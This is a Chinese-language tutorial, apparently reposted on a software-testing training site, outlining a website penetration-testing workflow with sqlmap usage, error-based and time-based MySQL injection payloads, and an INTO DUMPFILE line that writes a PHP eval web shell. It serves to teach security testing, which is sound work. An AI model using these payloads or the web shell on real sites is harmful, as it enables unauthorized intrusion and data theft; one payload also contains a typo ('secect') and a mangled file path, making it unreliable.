给你一个网站你是如何来渗透测试的? | 当前位置: 首页> 学习中心> 测试知识> 详情 |
关于网站的渗透测试,相信大家日常都会碰到。对于测试新手来说,漏测经常发生。今天,我就跟大家一起来分享一些渗透测试的知识点,希望对大家有用。
信息收集
在获取书面授权的前提下。
1)获取域名的whois信息,获取注册者邮箱姓名电话等;
2)查询服务器旁站以及子域名站点、因为主站一般比较难、所以先看看旁站有没有通用性的cms或者其他漏洞;
3)查看服务器操作系统版本、web中间件、看看是否存在已知的漏洞、比如IIS、APACHE,NGINX的解析漏洞;
4)查看IP、进行IP地址端口扫描、对响应的端口进行漏洞探测、比如 rsync,心脏出血、mysql,ftp,ssh弱口令等;
5)扫描网站目录结构、看看是否可以遍历目录、或者敏感文件泄漏、比如php探针;
6)google hack 进一步探测网站的信息、后台、敏感文件。
漏洞扫描
开始检测漏洞。如:XSS、XSRF、sql。注入、代码执行、命令执行、越权访问、目录读取、任意文件读取、下载、文件包含、远程命令执行、弱口令、上传、编辑器漏洞、暴力破解等。
漏洞利用
利用以上的方式拿到webshell、或者其他权限。
权限提升
提权服务器、比如windows下mysql的udf提权、serv-u提权、windows低版本的漏洞、linux藏牛漏洞、linux内核版本漏洞提权、linux下的mysql system提权以及oracle低权限提权。
总结报告及修复方案
sqlmap、怎么对一个注入点注入。
1)如果是get型号、直接、sqlmap -u “注入点网址”;
2)如果是post型注入点、可以sqlmap -u “注入点网址” –data=”post的参数”;
3)如果是cookie、X-Forwarded-For等、可以访问的时候、用burpsuite抓包、注入处用*号替换、放到文件里、然后sqlmap -r “文件地址”、nmap、扫描的几种方式。
sql注入的几种类型
1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入
报错注入的函数有哪些?
在获取书面授权的前提下。
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e));
2)通过floor报错 向下取整;
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1);
4)geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b))
5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10).exp()select * from test where id=1 and exp(~(select * from(select user())a));
延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
如何拿一个网站的webshell?
上传、后台编辑模板、sql注入写文件、命令执行、代码执行。一些已经爆出的cms漏洞,比如:dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等。
sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\\wwwroot\http://baidu.com\nvhack.php';
代码执行、文件读取、命令执行的函数都有哪些?
1、代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2、文件读取:file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等。
3、命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
文章来源:网络 版权归原作者所有
上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8103),我们将立即处理。